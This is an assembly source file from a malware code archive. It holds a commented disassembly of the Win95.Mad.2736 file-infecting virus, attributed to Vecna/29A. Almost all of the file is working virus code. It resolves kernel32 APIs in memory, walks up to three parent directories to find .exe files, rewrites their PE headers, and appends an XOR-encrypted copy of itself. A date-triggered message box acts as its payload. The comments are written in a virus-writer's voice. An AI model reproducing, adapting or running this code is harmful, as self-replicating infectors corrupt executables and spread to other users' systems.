MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.mad.asm
2021-01-12 17:49:21 -06:00

521 lines
14 KiB
NASM

;Win95.Mad.2736 disassembly
;(c) Vecna/29A
;Here is the disassembly of one of the first Win95 virus, that implemented
;several original features. It was the first encripted win95 virus, and
;the second one to not add a new section to the host (the first according
;to AVPVE) the first was actually Win32.Jacky. When executed,
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
;and call they everytime that need get a function, instead of searching
;once and storing the API address. Anyway, the API search dont seens reliable
;enought, and i cant make it replicate in my machine.
;A special thank goes this time for VirusBuster, my virus provider, that
;always have nice virii for me... :-)
;Tasm /m w95mad.asm
.386p
.model flat
.data
dd ?
.code
start:
call delta
delta:
pop edi
mov eax, edi
old_RVA:
sub eax, 2005h ;setup host entry point
sub edi, offset delta
mov ds:HostEntry[edi], eax
mov ds:SaveEBP[edi], ebp
mov ebp, edi
xor eax, eax
mov edi, offset start_encript
add edi, ebp
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
decript_loop:
xor [edi], al
inc edi
loop decript_loop
jmp short start_encript
HostEntry dd 0
SaveEBP dd 0
Key db 0
start_encript:
mov ss:TotalInf[ebp], 0
mov eax, 4550h
mov edi, 0BFF70000h
mov ecx, 1000h
cld
search_kernel:
repne scasw
jnz return_host
add ss:Seed[ebp], edi
dec edi
dec edi
cmp word ptr [edi+4], 14Ch
jnz short search_kernel
cmp word ptr [edi+14h], 0
jz short search_kernel
mov bx, [edi+16h]
and bx, 0F000h
cmp bx, 2000h ;is a DLL?
jnz short search_kernel
cmp dword ptr [edi+34h], 0BFF70000h
jl short search_kernel
mov eax, [edi+34h]
mov ss:KernelBase[ebp], eax
xor eax, eax
mov ax, [edi+14h]
add eax, edi
add eax, 18h
mov cx, [edi+6] ;number of sections
search_edata:
cmp dword ptr [eax], 'ADE.'
jnz short no_edata
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
jz short found_export ;export section
no_edata:
add eax, 28h
dec cx
or cx, cx
jnz short search_edata
jmp return_host
found_export:
mov ebx, [eax+0Ch]
add ebx, ss:KernelBase[ebp]
mov edi, [ebx+20h]
add edi, ss:KernelBase[ebp]
mov ecx, [ebx+14h]
sub ecx, [ebx+18h]
mov eax, 4
mul ecx
mov ss:pAPIRVA[ebp], eax
mov ecx, [ebx+18h]
mov eax, 4
mul ecx
xchg eax, ecx
xchg edi, edx
search_APIs:
sub ecx, 4
mov edi, edx
add edi, ecx
mov edi, [edi]
add edi, ss:KernelBase[ebp]
lea esi, szGetProcAddres[ebp]
lea eax, pGetProcAddress[ebp]
call extract_addr
lea eax, pGetModuleHdle[ebp]
lea esi, szGetModuleHdle[ebp]
call extract_addr
cmp ecx, 0
jnz short search_APIs
cmp ss:pGetProcAddress[ebp], 0
jz return_host
cmp ss:pGetModuleHdle[ebp], 0
jz return_host
lea eax, _Kernel32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz return_host
lea eax, _GetDir[ebp]
call get_api_addr
jb _check_payload
lea edx, CurrentDir[ebp]
push edx
push 0FFh ;save current directory
call eax
find_filez:
lea eax, _FFile[ebp]
call get_api_addr
jb no_payload
mov edx, offset FINDATA ;start of find struct
add edx, ebp
push edx
mov edx, offset ExeMask
add edx, ebp
push edx
call eax
mov ss:SearchHandle[ebp], eax
cmp eax, 0FFFFFFFFh
jz change_dir ;error, then go down a dir
infect_next:
mov eax, dword ptr ss:FileName[ebp]
xor ss:Seed[ebp], eax
cmp eax, 186A0h
jnb error_close
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
jnz error_close ;win95 never set this, so
lea eax, _CreateFile[ebp] ;probably is a safeguard
call get_api_addr ;to no infect own hdd
jb no_payload
push 0
push ss:FINDATA[ebp]
push 3
push 0
push 0
push 0C0000000h
mov edx, offset FileName2
add edx, ebp
push edx
call eax
cmp eax, 0FFFFFFFFh
jz find_next
mov ss:FileHandle[ebp], eax
mov edi, 3Ch
call file_seek
mov edi, offset PEPointer
add edi, ebp
mov ecx, 4
call read_file
jb error_close
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call read_file
cmp ss:PEHeader[ebp], 4550h
jnz error_close
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
jz error_close
xor esi, esi
xor eax, eax
mov ax, ss:NumberSections[ebp]
dec ax
mov ecx, 28h
xor edx, edx
mul ecx
mov si, ax
mov eax, 0BB8h
mov ecx, ss:FileAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
add ss:szRVA[ebp+esi], eax ;virtual size of section
mov eax, 7D0h
mov ecx, ss:ObjAlign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
mov ecx, edx
add edx, ss:szRAW[ebp+esi] ;size of raw data
push edx
add ss:pRAW[ebp+esi], eax ;pointer to raw data
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
add ecx, ss:RVA[ebp+esi] ;RVA of section
mov edx, ss:EntryRVA[ebp]
mov ss:EntryRVA[ebp], ecx
sub ecx, edx
add ecx, 5
mov dword ptr ss:old_RVA+1[ebp], ecx
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
mov edi, ss:PEPointer[ebp]
call file_seek
mov edi, offset PEHeader
add edi, ebp
mov ecx, 8D0h
call write_file ;write the modificated
pop edi ;header info
add ss:Seed[ebp], edi
call file_seek
mov eax, ss:Seed[ebp]
neg eax
mov ss:Key[ebp], al
mov esi, offset start
add esi, ebp
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
cld
repe movsb ;zopy virus to work area
mov edi, offset EncriptedBody
add edi, ebp
add edi, 45h
mov ecx, 0A6Bh
mov al, ss:Key[ebp]
enc_loop:
xor [edi], al ;encript it
inc edi
loop enc_loop
mov edi, offset EncriptedBody
add edi, ebp
mov ecx, 0AB0h
call write_file ;attach virus
error_close:
not ss:Seed[ebp]
lea eax, _CloseFile[ebp]
call get_api_addr
jb short _check_payload
push ss:FileHandle[ebp]
call eax
find_next:
lea eax, _FNFile[ebp]
call get_api_addr
jb short _check_payload
lea edx, FINDATA[ebp]
push edx
push ss:SearchHandle[ebp]
call eax
cmp eax, 0
jnz infect_next
change_dir:
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
jz short _check_payload ;infected
lea eax, _SetDir[ebp]
call get_api_addr
jb short _check_payload
lea edx, DotDot[ebp] ;go down a directory
push edx
call eax
inc ss:TotalInf[ebp]
cmp eax, 1
jz find_filez
_check_payload:
jmp short check_payload
read_file:
push edi
push ecx
lea eax, _ReadFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short rf_addr_ok
stc
retn
rf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
write_file:
push edi
push ecx
lea eax, _WriteFile[ebp]
call get_api_addr
pop ecx
pop edi
cmp eax, 0
jnz short wf_addr_ok
stc
retn
wf_addr_ok:
push 0
lea ebx, NumRead[ebp]
push ebx
push ecx
push edi
push ss:FileHandle[ebp]
call eax
retn
file_seek:
lea eax, _FileSeek[ebp]
call get_api_addr
push 0
push 0
push edi
push ss:FileHandle[ebp]
call eax
retn
check_payload:
lea eax, _GetTime[ebp]
call get_api_addr
jb short no_payload
lea edx, SYSTIME[ebp]
push edx
call eax
cmp ss:cDay[ebp], 1
jnz short no_payload
lea eax, _User32[ebp]
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax ;get handle for USER32.DLL
mov ss:KernelHandle[ebp], eax
cmp eax, 0
jz short no_payload
lea eax, _MsgBox[ebp]
call get_api_addr
jb short no_payload
push 1030h
mov edx, offset MsgTitle
add edx, ebp
push edx
mov edx, offset MsgText
add edx, ebp
push edx
push 0
call eax ;pop a MessageBox with virus
lea eax, _Kernel32[ebp] ;credits
push eax
mov eax, ss:pGetModuleHdle[ebp]
call eax
mov ss:KernelHandle[ebp], eax
no_payload:
lea eax, _SetDir[ebp]
call get_api_addr
jb short return_host
lea edx, CurrentDir[ebp]
push edx
call eax
return_host:
mov edi, ebp
mov ebp, ds:SaveEBP[edi]
jmp ds:HostEntry[edi]
extract_addr:
pusha
mov ecx, [esi]
add esi, 4
repe cmpsb ;is api we want?
popa
jnz short no_func
xchg eax, esi
mov eax, [ebx+1Ch]
add eax, ss:pAPIRVA[ebp]
add eax, ss:KernelBase[ebp]
add eax, ecx
mov eax, [eax]
add eax, ss:KernelBase[ebp]
mov [esi], eax ;set adress
no_func:
retn
get_api_addr:
push eax
mov eax, ss:KernelHandle[ebp]
push eax
call ss:pGetProcAddress[ebp]
cmp eax, 0
jnz short proc_found
stc ;set carry on error
proc_found:
retn
KernelBase dd 0
pAPIRVA dd 0
pGetProcAddress dd 0
szGetProcAddres dd 0Fh ;size of string to search
db 'GetProcAddress',0
pGetModuleHdle dd 0
szGetModuleHdle dd 11h ;size of string to search
db 'GetModuleHandleA',0
_Kernel32 db 'KERNEL32',0
_User32 db 'USER32',0
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
_FFile db 'FindFirstFileA',0 ;and all these otherz from
_CreateFile db 'CreateFileA',0 ;kernel32
_CloseFile db 'CloseHandle',0
_ReadFile db 'ReadFile',0
_WriteFile db 'WriteFile',0
_FileSeek db 'SetFilePointer',0
_FNFile db 'FindNextFileA',0
_GetTime db 'GetLocalTime',0
_SetDir db 'SetCurrentDirectoryA',0
_GetDir db 'GetCurrentDirectoryA',0
KernelHandle dd 0 ;also used for USER32.DLL
;when using payload
MsgTitle db 'Multiplatform Advanced Destroyer',0
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
db 'Welcome to my first virus for Windoze95...',0Dh
db 'Distribution & Copyright by Black Angel 1997',0
;uhh... a confession... ;-)
ExeMask db '*.eXe',0
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
DotDot db '..',0 ;for directory changing
SearchHandle dd 0
FileHandle dd 0
NumRead dd 0
Seed dd 0
SYSTIME equ this byte
cYear dw 0
cMonth dw 0
cDWeek dw 0
cDay dw 0
cHour dw 0
cMin dw 0
cSec dw 0
cMlSec dw 0
FINDATA dd 0 ;File Attribute
dd 0 ;Creation Date
dd 0 ;Last Acess Date
dd 0 ;Last Write Date
dd 0 ;File Size h
dd 0 ;File Size l
dd 0 ;Reserved
Security dd 0
FileName db 0Ch dup(0)
FileName2 db 200h dup(0)
PEPointer dd 0
TotalInf db 0
CurrentDir db 100h dup(0)
PEHeader dd 0 ;from here to end, are all
dw 0 ;bufferz that w95.mad.2736
NumberSections dw 0 ;use for read, encription
db 20h dup(0) ;and like...
EntryRVA dd 0
db 0Ch dup(0)
FileAlign dd 0
ObjAlign dd 0
db 18h dup(0)
InfectionMark dd 0
EncriptedBody db 0A4h dup(0)
szRVA dd 0
RVA dd 0
pRAW dd 0
szRAW dd 0
dd 0
dd 0
dd 0
ObjAttr dd 0
db 608Ch dup(0)
end start